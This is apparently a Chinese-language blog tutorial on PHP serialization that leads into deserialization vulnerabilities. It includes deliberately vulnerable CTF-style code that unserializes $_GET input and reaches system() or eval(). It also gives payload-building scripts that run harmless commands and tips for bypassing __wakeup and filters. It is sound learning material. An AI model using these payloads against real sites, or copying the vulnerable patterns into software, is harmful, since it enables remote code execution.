WEB-反序列化简介

发布于 2022-10-14  86 次阅读


MonianHello 2022.10

很明显,从上次面试到现在依旧没学会利用反序列化漏洞,特此从0开始详解反序列化漏洞。

一、类与对象

在说序列化和反序列化之前,先把php的类与对象捋一遍:

对象的抽象,对象的实例

有这样一个很简单的例子:类是动物,对象是鸡、鸭、鹅、狗、猫……

动物可以有以下特征:名字、颜色、重量……

动物也可以有这些行为:吃饭、喝水、睡觉……

我们来用php代码实现一下:


<?php
class 动物 {
  var $姓名;
  var $颜色;

  function 命名($输入值){
     $this->姓名 = $输入值;}

  function 你叫啥啊(){
     echo $this->姓名;}

  function 染色($输入值){
     $this->颜色 = $输入值;}

  function 你啥色啊(){
     echo $this->颜色;}

}

我们创建了一个动物类,类的成员变量有“姓名”和“颜色”,类的成员函数有“命名”、“你叫啥啊”、“染色”和“你啥色啊”。很好理解,前面定义变量,后面就跟上相应的功能(输入和打印)。当然,现在只是创建了类,想要用上类还需要实例化该类的对象。

$猫猫 = new 动物;

$狗狗 = new 动物;

使用new创建了动物类的两个对象:猫猫和狗狗,现在就可以开始用类的函数来控制对象了

$猫猫->命名("加菲");

$狗狗->命名("欧弟");

$猫猫->染色("橙的");

$狗狗->染色("黑的");

调用猫猫、狗狗的命名、染色函数,为这两个互相独立的对象赋值。

$猫猫->你啥色啊();

$狗狗->你啥色啊();

$猫猫->你叫啥啊();

$狗狗->你叫啥啊();

调用猫猫、狗狗的你啥色啊、你叫啥啊函数,得到这两个对象的变量值。

输出:

橙的黑的加菲欧弟

二、序列化

初步了解类与对象后,就可以来看看序列化了

首先是序列化的定义:

将一个对象保存到一个字符串

就拿刚才的例子,我们将猫猫和狗狗分别序列化

$猫猫 = serialize($猫猫);

var_dump($猫猫);

$狗狗 = serialize($狗狗);

var_dump($狗狗);

输出:

string(69) "O:6:"动物":2:{s:6:"姓名";s:6:"加菲";s:6:"颜色";s:6:"橙的";}"

string(69) "O:6:"动物":2:{s:6:"姓名";s:6:"欧弟";s:6:"颜色";s:6:"黑的";}"

各个部分数组的含义,可以移步zhuanlan.zhihu.com/p/377676274具体查看,这里不再赘述。但值得一提的是,serialize()函数只序列化类的属性,不序列化类的方法。

三、反序列化

反序列化的定义不难猜出,是:

序列化后的字符串转换回对象

把反序列化得到的字符串再反序列化回去

//猫猫.txt

//O:6:"动物":2:{s:6:"姓名";s:6:"加菲";s:6:"颜色";s:6:"橙的";}

$宠物 = unserialize(file_get_contents('猫猫.txt'));

print_r($宠物);

就能得到

动物 Object ( [姓名] => 加菲 [颜色] => 橙的 )

拿本次月赛题目举例(稍微简化了一下原题目):

<?php
    class cwm{
        public $a;
        public $b;
        public function run(){
                $test=$this->a;
                $test($this->b);}} 
                
    $NEUQCSA=$_GET['NEUQCSA'];
    $temp=unserialize($NEUQCSA);
    $temp->run();

其中cwm类的run()函数会执行动态函数a(b),并且在反序列化后会直接执行对象的run()函数。相当于只要传入a、b两个值就可以执行a(b)的php代码。

<?php
    class cwm{
        public $a='system';
        public $b='echo monian here~';
    }
    $lyw=new cwm();
echo serialize($lyw);

//O:3:"cwm":2:{s:1:"a";s:6:"system";s:1:"b";s:17:"echo monian here~";}

即可实现显示monian here~

反序列化

四、魔术方法

哎呀,怎么又来了一个魔术方法,这又是什么?

别急,让我先急。我来举个例子:

<?php
    class 狗狗{
        public function __construct(){
            echo "汪!";}} 

    $欧弟 = new 狗狗;

其中以双下划线开头的特殊函数就被称为魔术方法

当然,我们只创建了欧弟这个对象,并没有调用成员函数,按理来说不会回显“汪!”。但实际运行一下,却能发现“汪”被打印了出来,这是为啥?

construct直译过来就是建筑;修建;建造的意思,__construct()被称为构造函数。一个对象被实例化的时候,就会自动调用这个函数。也就是说,我们在new 狗狗的时候,就相当于执行了一次 __construct()函数。

这东西在实际运用中十分常见,比方说我们刚才还需要运行专门的函数去给猫猫狗狗命名,现在使用__construct()就可以在实例化对象的同时顺便把名字起了。


<?php
    class 动物 {
        var $姓名;

        function __construct($输入值){
            $this->姓名 = $输入值;}
        function 你叫啥啊(){
            echo $this->姓名;}
    }

    $猫猫 = new 动物("加菲");
    $狗狗 = new 动物("欧弟");

    $猫猫->你叫啥啊();
    $狗狗->你叫啥啊();

与构造函数相反,__destruct()被称为析构函数。当对象结束其生命周期时,系统会自动执行析构函数。

可以用一个小例子来观察一下在什么时候会调用这两个函数:

<?php
class test{
    public function __construct(){
        echo "执行了一次构造函数<br>";
    }
    public function __destruct(){
        echo "执行了一次析构函数<br>";
    }
}

echo "new test();<br>";
$a = new test();

echo "----------------<br>";
echo "serialize();<br>";
$b = serialize($a);

echo "----------------<br>";
echo "unserialize();<br>";
unserialize($b);

echo "----------------<br>";
echo "程序结束<br>";

?>

可以得到:


new test();
执行了一次构造函数
----------------
serialize();
----------------
unserialize();
执行了一次析构函数
----------------
程序结束
执行了一次析构函数

因此可知:

__construct()只会在创建对象时触发,在序列化和反序列化的过程中都不会触发

__destruct()会在实例化的时创建的对象,反序列化后生成的对象销毁时触发

魔术方法还有:

  • __construct(),类的构造函数
  • __destruct(),类的析构函数
  • __call(),在对象中调用一个不可访问方法时调用
  • __callStatic(),用静态方式中调用一个不可访问方法时调用
  • __get(),获得一个类的成员变量时调用
  • __set(),设置一个类的成员变量时调用
  • __isset(),当对不可访问属性调用isset()或empty()时调用
  • __unset(),当对不可访问属性调用unset()时被调用。
  • __sleep(),执行serialize()时,先会调用这个函数
  • __wakeup(),执行unserialize()时,先会调用这个函数
  • __toString(),类被当成字符串时的回应方法
  • __invoke(),调用函数的方式调用一个对象时的回应方法
  • __set_state(),调用var_export()导出类时,此静态方法会被调用。
  • __clone(),当对象复制完成时调用
  • __autoload(),尝试加载未定义的类
  • __debugInfo(),打印所需调试信息

好多,记不住,咋办啊啊啊啊啊啊啊

现用现查呗https://baijiahao.baidu.com/s?id=1699102059551590710

五、反序列化漏洞

说了这么多,终于开始讲反序列化漏洞了。一句话说就是:

由于unserialize函数接收到了恶意的序列化数据篡改成员属性后导致的漏洞

例:


<?php
class main {
    public $a;
    public function __construct(){
        $this->a = new byebye();
    }
    public function __destruct(){
        $this->a->do();
    }
}
class byebye {
    public function do(){
        echo "Get out BabyHacker!";
    }
}
class flag {
    var $b;
    public function do(){
        eval($this->b);
    }
}
unserialize($_GET["A"]);

简要分析一下,main类的对象创建时让a=byebye的实例,在对象销毁时运行a->do()。

byebye类和flag类都含有do()函数,能解题的是flag类。

因此我们的目的就是让main类的a=flag的实例,同时让flag类中的b=我们要执行的代码。

一开始,我们能想到的代码应该是这样的:

<?php
class main {
    public $a = new flag;
}
class flag{
    public $b = "phpinfo;";
}
$monian = new main;
echo(urlencode(serialize($monian)));//url编码一下再echo

想法是正确的,但是代码写的不对。因为静态属性只能使用文字或常量进行初始化,不允许用表达式。

我们可以再写一个函数用于给$a赋值,可以用刚刚学的构造函数。这里为了直观就不使用__construct()了

<?php
class main {
    public $a;

    public function hack(){
        $this->a = new flag;
    }
}
class flag{
    public $b = "phpinfo();";
}


$monian = new main;
$monian->hack();
echo(urlencode(serialize($monian)));//url编码一下再echo

这样只要在实例化对象后再执行一下hack()就可以序列化了

测试一下,成功运行

一些技巧:

__wakeup()函数可以使用更改成员数量进行绕过

过滤可以大写S(String)来使用十六进制进行绕过